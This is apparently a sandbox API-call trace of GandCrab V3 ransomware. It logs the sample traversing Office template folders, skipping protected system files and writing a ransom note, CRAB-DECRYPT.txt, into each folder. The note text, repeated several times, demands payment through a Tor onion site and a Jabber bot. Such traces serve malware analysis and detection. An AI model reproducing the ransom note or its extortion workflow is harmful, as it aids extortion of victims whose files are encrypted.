	[0118.727] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\user\\document themes\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8
	[0118.730] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0118.730] WriteFile (in: hFile=0x3d8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3148a04, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3148a04*=0xcce, lpOverlapped=0x0) returned 1
	[0118.731] CloseHandle (hObject=0x3d8) returned 1
	[0118.731] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.732] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\") returned 94
	[0118.732] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\*"
	[0118.732] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\*", lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 0xded5e8
	[0118.732] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0118.732] FindNextFileW (in: hFindFile=0xded5e8, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 1
	[0118.732] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0118.732] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0118.732] FindNextFileW (in: hFindFile=0xded5e8, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 1
	[0118.732] lstrcmpW (lpString1="1033", lpString2=".") returned 1
	[0118.732] lstrcmpW (lpString1="1033", lpString2="..") returned 1
	[0118.732] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\", lpString2="1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033"
	[0118.732] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\"
	[0118.732] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0118.733] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0118.733] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0118.733] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0118.733] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0118.733] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.733] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3147f78, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0118.733] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0118.733] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0118.733] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3147760, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0118.733] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0118.733] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0118.734] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0118.734] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\\\CRAB-DECRYPT.txt") returned 116
	[0118.734] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\user\\document themes\\1033\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3dc
	[0118.735] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0118.735] WriteFile (in: hFile=0x3dc, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3147f5c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3147f5c*=0xcce, lpOverlapped=0x0) returned 1
	[0118.735] CloseHandle (hObject=0x3dc) returned 1
	[0118.736] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.736] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\") returned 99
	[0118.736] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\*"
	[0118.737] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\*", lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 0xded968
	[0118.737] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0118.737] FindNextFileW (in: hFindFile=0xded968, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0118.737] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0118.737] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0118.737] FindNextFileW (in: hFindFile=0xded968, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0118.737] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0118.737] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0118.737] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\CRAB-DECRYPT.txt"
	[0118.737] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0118.737] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\CRAB-DECRYPT.txt") returned 115
	[0118.738] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\CRAB-DECRYPT.txt") returned 115
	[0118.738] lstrlenW (lpString=".txt") returned 4
	[0118.738] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.738] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0118.738] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.738] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\CRAB-DECRYPT.txt") returned 115
	[0118.738] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\CRAB-DECRYPT.txt") returned 115
	[0118.738] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0118.738] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0118.738] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0118.738] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0118.738] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0118.738] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0118.739] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0118.739] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0118.739] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0118.739] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.739] FindNextFileW (in: hFindFile=0xded968, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 0
	[0118.739] FindClose (in: hFindFile=0xded968 | out: hFindFile=0xded968) returned 1
	[0118.739] FindNextFileW (in: hFindFile=0xded5e8, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 1
	[0118.739] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0118.739] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0118.739] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\CRAB-DECRYPT.txt"
	[0118.739] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0118.740] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\CRAB-DECRYPT.txt") returned 110
	[0118.740] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\CRAB-DECRYPT.txt") returned 110
	[0118.740] lstrlenW (lpString=".txt") returned 4
	[0118.740] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.740] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0118.740] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.740] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\CRAB-DECRYPT.txt") returned 110
	[0118.740] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\CRAB-DECRYPT.txt") returned 110
	[0118.740] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0118.740] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0118.741] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0118.741] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0118.741] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0118.741] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0118.741] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0118.741] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0118.741] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0118.741] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.741] FindNextFileW (in: hFindFile=0xded5e8, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 0
	[0118.741] FindClose (in: hFindFile=0xded5e8 | out: hFindFile=0xded5e8) returned 1
	[0118.741] FindNextFileW (in: hFindFile=0xdedbe8, lpFindFileData=0x3149cc8 | out: lpFindFileData=0x3149cc8) returned 1
	[0118.741] lstrcmpW (lpString1="SmartArt Graphics", lpString2=".") returned 1
	[0118.741] lstrcmpW (lpString1="SmartArt Graphics", lpString2="..") returned 1
	[0118.741] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\", lpString2="SmartArt Graphics" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics"
	[0118.742] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\"
	[0118.742] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0118.742] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0118.742] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0118.742] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0118.742] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0118.742] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.742] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148a20, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0118.742] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0118.742] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0118.743] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3148208, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0118.743] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0118.743] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0118.743] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0118.743] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\\\CRAB-DECRYPT.txt") returned 113
	[0118.743] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\user\\smartart graphics\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8
	[0118.745] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0118.745] WriteFile (in: hFile=0x3d8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3148a04, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3148a04*=0xcce, lpOverlapped=0x0) returned 1
	[0118.745] CloseHandle (hObject=0x3d8) returned 1
	[0118.746] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.746] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\") returned 96
	[0118.746] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\*"
	[0118.746] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\*", lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 0xded3a8
	[0118.746] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0118.746] FindNextFileW (in: hFindFile=0xded3a8, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 1
	[0118.746] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0118.746] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0118.747] FindNextFileW (in: hFindFile=0xded3a8, lpFindFileData=0x3149220 | out: lpFindFileData=0x3149220) returned 1
	[0118.747] lstrcmpW (lpString1="1033", lpString2=".") returned 1
	[0118.747] lstrcmpW (lpString1="1033", lpString2="..") returned 1
	[0118.747] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\", lpString2="1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033"
	[0118.747] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\"
	[0118.747] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0118.747] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0118.747] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0118.747] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0118.747] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0118.747] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.748] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3147f78, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0118.748] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0118.748] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0118.748] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3147760, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0118.748] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0118.748] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics\\1033\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
